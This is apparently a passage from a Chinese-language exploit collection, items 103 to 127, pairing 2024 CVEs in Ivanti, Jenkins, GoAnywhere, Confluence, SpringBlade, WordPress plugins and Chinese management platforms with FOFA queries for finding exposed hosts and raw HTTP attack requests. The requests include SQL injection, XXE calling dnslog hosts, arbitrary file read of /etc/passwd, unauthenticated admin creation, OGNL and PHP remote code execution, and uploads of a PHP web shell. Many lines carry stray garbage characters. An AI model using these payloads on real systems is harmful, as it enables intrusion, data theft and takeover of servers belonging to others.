+ K$ @$ N6 A: e* Q5 A<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
) w, A; \' e- n, C5 M5 BCVE-2024-22024
9 n9 s5 P6 n' x7 B5 Y; }, rFOFA：body="welcome.cgi?p=logo"
4 g3 F+ f# D5 Y. J: y  ~+ X  q2 VPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
7 {8 N' y) K0 ~; y) j+ i
; D0 B+ y3 f0 v  g  x" ]
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
7 R) n  S: f* ]' O! A# g: U<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
$ |4 p! B7 N3 F  R, l. i7 T

6 S# A$ w' A) s" O104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
1 |8 i; B' f! MFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
* A) _& u9 ^6 q+ i6 q( dOrigin: http://192.168.0.1
" B6 K( P8 x* b$ k6 D7 Q' j9 ~Referer: http://192.168.0.1/advance/index.html?time=1671152380564
$ Q6 ~9 \* l" }1 P: d3 H' [Accept-Encoding:gzip,deflate
. i2 @* l* T, n7 ]0 hAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
2 {0 |" @5 d: i" O( `Connection:close
# v8 p0 [3 [- e- A
{
+ c  _2 p3 s8 H% [( ]! q"topicurl":"getSysStatusCfg",
"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
- O; o& O$ c! R% f5 h) lFOFA：body="https://bladex.vip"
  R; }; e) t8 Q8 Uhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

6 l' ]8 t5 v6 H5 ]2 k. w' `106. SpringBlade dict-biz/list SQL 注入
$ W& s  z( O4 E7 a; l. u0 oFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
. G( U& D, F3 o+ B; QHost: your-ip
, n3 b8 e. c8 m' dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 `) J& `5 }. ^0 a' y0 S7 KBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
5 n7 e( P6 J7 j' w0 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 l+ d0 Z' w, H1 \' c8 h

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
$ Y' T- i6 ^$ f; X+ E# G( }9 D" `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
1 I% f4 r4 a4 Y4 T* E  R

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
4 k0 q  ~' `9 i% g- h- eFOFA："dtale/static/images/favicon.png"
7 Q1 a+ g8 Q1 T; H4 O( TGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
5 R: ^! L; ^9 {, eHost: your-ip
Accept: application/json, text/plain, */*
* n2 s9 Q* m7 f0 y. pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
1 T4 z. m" x/ k8 y7 D7 UAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 }& L6 q+ O, w# VConnection: close
% q4 U9 B6 M4 A2 k4 E  ]9 W) r$ o
( K: X+ I8 i+ K# H8 G, Y
109. Jenkins CLI 任意文件读取
, [( j$ h- Y+ p6 ECVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
. H/ v* x5 q4 VSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
" {' V' r1 x3 x9 q% i8 W: t. H* ~$ tConnection: keep-alive
Content-Length: 163
* f  c* `4 i7 L. T$ I
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
' Z2 p; [( ]" Q4 t- @
6 i& Z0 H( \5 k3 H" B
/ Y- w/ f, Q' l$ c1 n' N- G" [POST /cli?remoting=false HTTP/1.1
. m7 C5 m4 e3 L4 V  @: p" BHost:
8 t* Y& F5 b+ c, ~Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
' P( I) K% q9 k. M9 T4 T' m, @download
Content-Type: application/x-www-form-urlencoded
5 V: H7 i: p& h+ }5 e# oContent-Length: 0
4 h6 t: e% Q$ v/ W
/ X  G3 ^/ W0 H3 A  J( _
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
; r1 g, f( W  t) a[COMMAND]
Lists all the available commands or a detailed description of single command.
6 V2 ?' d, W1 z8 q COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
/ S' @: q4 F" R; f+ i
  a& ~+ i: A) I; l
1 e: Q8 `# {3 @110. Goanywhere MFT 未授权创建管理员
+ Q0 ~' b% D- l0 y7 x- O5 lCVE-2024-0204
6 r! H! r! k  g  rFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
6 b# j) ~8 G" [8 KHost: 192.168.40.130:8000
! [! d4 v; p. w) H- ]. l/ VUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
" g/ Q9 |; {: yAccept-Language: en
. @8 Z8 Q8 O4 ?% b) RAccept-Encoding: gzip

0 a! H( g7 n2 A/ x! J$ x% S
111. WordPress Plugin HTML5 Video Player SQL注入
* T1 t  e2 U) e! l# ?CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, G2 H7 f: h% r0 b# {+ g6 pConnection: close
  u) r) W* Z0 [# {4 M( VAccept: */*
" s; V6 P4 O- q3 _! |6 E# o& I& wAccept-Language: en
Accept-Encoding: gzip
) u0 q/ y: A. n$ Y2 Y2 Z" ~8 F' q

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
  s% P6 J( v+ A6 h2 Q8 z. _POST /wp-json/notificationx/v1/analytics HTTP/1.1
" t$ e" w1 I9 B$ F# Y! i" Q1 k5 QHost: {{Hostname}}
. i' b) h' {5 L3 ^Content-Type: application/json
6 B5 o7 T) o5 p% N& d; d. P
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

9 H3 A( q/ q* l& T% H1 Z- m
113. WordPress Automatic 插件任意文件下载和SSRF
, e/ Q! z1 n6 \  c# [8 q7 gCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
0 u* u; n; l! p6 V1 k) n  t2 VGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
  s& l  P- Y$ V8 FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
  }# B& n$ V# B5 aAccept: */*
Accept-Language: en
, W" W4 r7 K) v2 f2 ^Accept-Encoding: gzip
- G* }- L4 D9 w
# d- z& S2 O6 r# @; i& E4 `( E: d
' B& S& r& X5 H% e( {" b1 a114. WordPress MasterStudy LMS插件 SQL注入
; n7 F3 O3 v+ e7 NFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
- [0 Z: P1 c$ ZGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
0 c( W. n* s2 l, _1 L7 M: PCVE-2024-25600
0 m' f: x3 {+ ^2 lFOFA: body="/wp-content/themes/bricks/"
( k6 m+ `2 U* z3 b  m第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
3 w* P$ c( i8 Q0 y4 C# n$ Y$ Y& n0 ^User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
& L6 H, _- x% f# \# c
) w) r' g8 T+ y3 N
$ M$ Z* @' K  F; P1 ^! g& K+ l第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
% F- R9 T9 [! u7 YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
Content-Type: application/json
) k/ o& ^* J& H' F: v' cAccept-Encoding: gzip

{
"postId": "1",
  "nonce": "第一步获得的值",
: ^- W) m* D3 t% h5 X  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
: {, X. ^% f7 m: j        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
) S; z; a  I# p& ^- E1 V- o        "objectType": "post"
      }
3 v. N+ s) K* [5 e    }
# ^  Y. e6 s: \8 q  }
}

# K7 H! H% O+ v! U
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
) \% G4 e; X$ e) _. a) w' Y) {Host:
Content-Type: multipart/form-data; boundary=--------767099171
' N. w9 ]" P: R. J! |7 PUser-Agent: Mozilla/5.0

, C! N" M( @" v: ~+ E, y) |----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
; M3 n* Z! s: [8 k2 }----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
9 v; o% t+ n( {" s. |----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
; ?" s3 [* T0 m4 m$ E----------767099171--
2 P) I& l4 {9 _+ a) I

7 l; |, M" f. c9 x& T& }117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
" @2 u* ]2 C# c- L. eHost: your-ip
! O; Z# R* h; r/ |* ?- R/ O8 m/ @  ?" pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 e2 ]9 u$ W, A  u# mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 a: d4 P# O- L7 L4 R. f) sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" W3 n/ x7 x: wConnection: close
( v* r5 Z. P8 H* OUpgrade-Insecure-Requests: 1
" a* O+ N8 [8 H1 E4 N) Q! T8 p
; m2 t3 @! g1 l  P2 J- v
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
: b( A4 ~- J  ]CVE-2024-0939
FOFA：title="Smart管理平台"
! f1 {( [: K# l! SPOST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
: B. R* t! h& t4 Q0 A9 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
  X; n! D3 m& B) M& I+ pContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
- v7 E9 o% z8 S8 I9 @3 Y6 a: d. H! {Upgrade-Insecure-Requests: 1
7 |+ ?* s! ~  JSec-Fetch-Dest: document
- q9 [$ F* q# h' o4 b; \* G. ESec-Fetch-Mode: navigate
% `/ C- Q8 s6 H9 C8 eSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
+ n% x- M  D/ yTe: trailers
2 ]! s3 m- N% ~Connection: close
! h7 h7 N/ b4 m  ?4 \8 l" j
) n" Y" P1 D5 G' r2 g; c# @-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
& F2 j8 [2 B& ~* ~8 \: X; F
<?php
system($_POST["passwd"]);
5 f. N3 k  A. u?>
-----------------------------13979701222747646634037182887
, K) V- N, E$ K  qContent-Disposition: form-data; name="txt_path"
! x3 f6 L( I6 z! q+ n; U% ~5 ~+ C
' x6 r6 n" k- T/ t. A/home/src.php
-----------------------------13979701222747646634037182887--
% K4 x( S- t1 m9 }: ^3 x
& _! R0 j( h; Z( b
访问/home/src.php

3 n+ Q5 q. _, R/ D$ M" @* P119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
/ @5 Y! Z! x* k/ s2 d/ x4 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
! ~1 g. Q5 U  dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 a+ p6 t! h3 [: X, pContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
+ ^" J/ g- }: h. A, k1 ~/ @Origin: https://58.18.133.60:8443
8 T- j) s% _6 N' c/ NReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
8 _: Y' T2 z  }) l4 u: ?Sec-Fetch-Dest: empty
. ~( e7 U' b! s9 X  mSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
3 E1 h8 R# K- W7 @; o. S. mX-Forwarded-For: 1.1.1.1
" Y! s* i+ S9 c( Q& i: x5 b0 fX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
% A$ x% x9 W1 Y1 {6 E8 {# fConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
2 O! w% y( Q4 b; T! F* B( C7 b

120. 北京百绰智能S40管理平台导入web.php任意文件上传
- u; I, ]( B4 R2 N! X$ NCVE-2024-1253
) j* `! A) T+ f; |FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) g; B$ b2 D( ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 [2 X" W% t/ F4 u* V1 XAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
) J' H+ _% J3 MReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- q. r# @, V3 v  G: J: NSec-Fetch-Mode: navigate
* B4 a: P4 d8 v' A! L+ rSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
8 s7 w, M& X' ]1 F  kContent-Disposition: form-data; name="file_upload"; filename="2.php"
) z7 g9 X4 e  t4 B' g& qContent-Type: application/octet-stream
* S3 O! d3 J5 ~6 v1 \
<?php phpinfo()?>
/ N- i5 {$ ]8 G1 z* k0 B' [-----------------------------42328904123665875270630079328
  j. _/ O5 J* @0 eContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
3 m% T1 S; K! n) h# g1 NContent-Disposition: form-data; name="1_ck"
2 g) \9 h& B: K
: G1 Z) a2 f% ?2 E1_radhttp
-----------------------------42328904123665875270630079328
8 V, p& Q" u. h6 WContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328
. l* w# F: |) i/ i
* D0 S( r+ K& `; _% ]8 Z0 Y
文件路径/upload/2.php
$ ^; Q- \9 e  `& Z" S. C( V( Z' J
1 U) K- @$ o% A/ p121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
. a% x8 I$ }4 S% [. sFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
* ]+ L" Y- c5 D+ u* P0 y' BHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
; {0 `- }8 s1 O6 R% J& JUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
: ]" h; |9 s/ I/ sContent-Length: 592
Origin: https://192.168.40.130:8443
( H  _0 f  p7 Y1 y# {Upgrade-Insecure-Requests: 1
2 ~+ a$ u$ t# l  p; }; ]5 S% H3 VSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
8 j# q3 {. T! e1 D4 F2 H- t7 VSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
+ N5 _% S8 v$ M+ |- CTe: trailers
Connection: close
, Q- i6 G6 f% ?  X  {
-----------------------------42328904123665875270630079328
% G1 Y) R1 c9 |9 t4 kContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
9 ?) u4 ]4 {8 g: K
; K6 x, Z$ E& [* n+ K<?php phpinfo();?>
+ e/ p- P& }" w: Z-----------------------------42328904123665875270630079328
' X. c+ X* _7 D/ ]6 MContent-Disposition: form-data; name="id_type"
& F3 d- G! @" ]% q, f) H6 `
& m* j! w7 X+ s2 s1
) X9 A) X  \& s-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
7 r6 g; r, n: l1 }* `, k7 t
6 B) m. `/ B- f! s& ]; [1_radhttp
5 j2 `9 s$ V* Q% {2 @' C# ^-----------------------------42328904123665875270630079328
- X0 V3 p& T# s9 gContent-Disposition: form-data; name="hidwel"
. t- U! \( ~8 ]+ }& @" D
3 W: k& F$ X; Uset
-----------------------------42328904123665875270630079328
3 U: J* d# d* W

8 h( C+ \+ m; U, rboot/web/upload/weblogo/1.php
1 R+ H5 g# E+ h2 h( x5 `) d: O- U
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
/ J& L$ k) B3 c8 d* _GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
5 X! [0 h( ~, K$ uHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
/ f. j& X0 l8 ?* z+ z9 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 `' l. k9 v, @! M# J+ |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 H& I, h) S& _* M4 n! e; x, GAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
+ X4 m% r- g) R/ q  S" u% bSec-Fetch-Mode: navigate
' j, J% M4 f) R5 C3 i' p; ySec-Fetch-Site: none
Sec-Fetch-User: ?1
5 q7 {* u5 H8 o6 a& b2 DTe: trailers
" i3 k: p' \6 D/ OConnection: close

: n+ Q7 s* K" W
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
( V4 r6 c# ^7 ^6 X  l- SPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
" _5 S" L! }% ~6 t: f+ v# dAccept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
: T# ?0 n& |; N7 M  ]9 T, wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
& z0 d. M# Q6 VConnection: close
. W6 t& H+ \0 nContent-Type: application/x-www-form-urlencoded
9 [# M( t7 w, H$ K9 _% B
1 q( q4 a9 P# J8 L1 L* S4 e, nlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
$ u, @% z" S- B/ E/ I

124. 湖南建研工程质量检测系统任意文件上传
3 m4 O, X9 w# l" B. DFOFA：body="/Content/Theme/Standard/webSite/login.css"
8 o& k0 p# ^; s' N3 pPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 u, i6 h) x* i( U! @+ WContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Y# d7 x& K2 R# @Accept-Encoding: gzip, deflate, br
* W2 M! \0 T9 p5 {; u8 U: C3 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

* q( M; h* }0 K3 rfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

- m2 p; m$ B9 H0 l
http://192.168.40.130:8282/Scripts/abcgcg.aspx

4 h5 u  l9 b+ A& M) @125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
- \4 |* y* Z+ e. [3 Khttps://github.com/watchtowrlabs ... bypass-add-user-poc

( {3 l6 S3 T: a, S3 e7 B- g
使用方法
( ~9 |+ X7 J' K0 n+ |python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
$ h: }( }! }9 h0 ^GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
$ H: w8 ^$ K! R# @. c; g1 DConnection: close
3 ^; T* e" Q' s2 Y9 eAccept: */*
Accept-Language: en
Accept-Encoding: gzip

' i2 h7 w& u9 b
# A) x2 U! `# C* Q. r; F. n: p127. 广联达Linkworks DataExchange.ashx XXE
8 I: N  \) d% F$ q3 ^) c( u; aFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
! _' _- R2 t9 AHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
  I9 y  r* j; F5 g5 \3 F% L# EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! o* o) l3 u1 D8 k: H* m1 IAccept-Encoding: gzip, deflate
& j$ x; K8 Z+ k' x% F3 HAccept-Language: zh-CN,zh;q=0.9
Connection: close
( M  G' G8 F5 J6 \Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
1 f% l0 @- x5 Q5 SSec-Purpose: prefetch;prerender
- w8 X' k' E! j0 G
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
- Z5 L7 t, Q* Q2 A, a
BIM
, _# W. Y% x  B, d------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
" h$ L+ g! J- A' s+ ^. YContent-Type: text/plain

- J7 I2 f% h, h$ h4 [/ e<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
5 W3 Q) l# F) |9 U" G: {7 v. V<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
<test>&t;</test>
) Z* \6 ?" h3 ^% |4 X0 S: p9 M------WebKitFormBoundaryJGgV5l5ta05yAIe0--
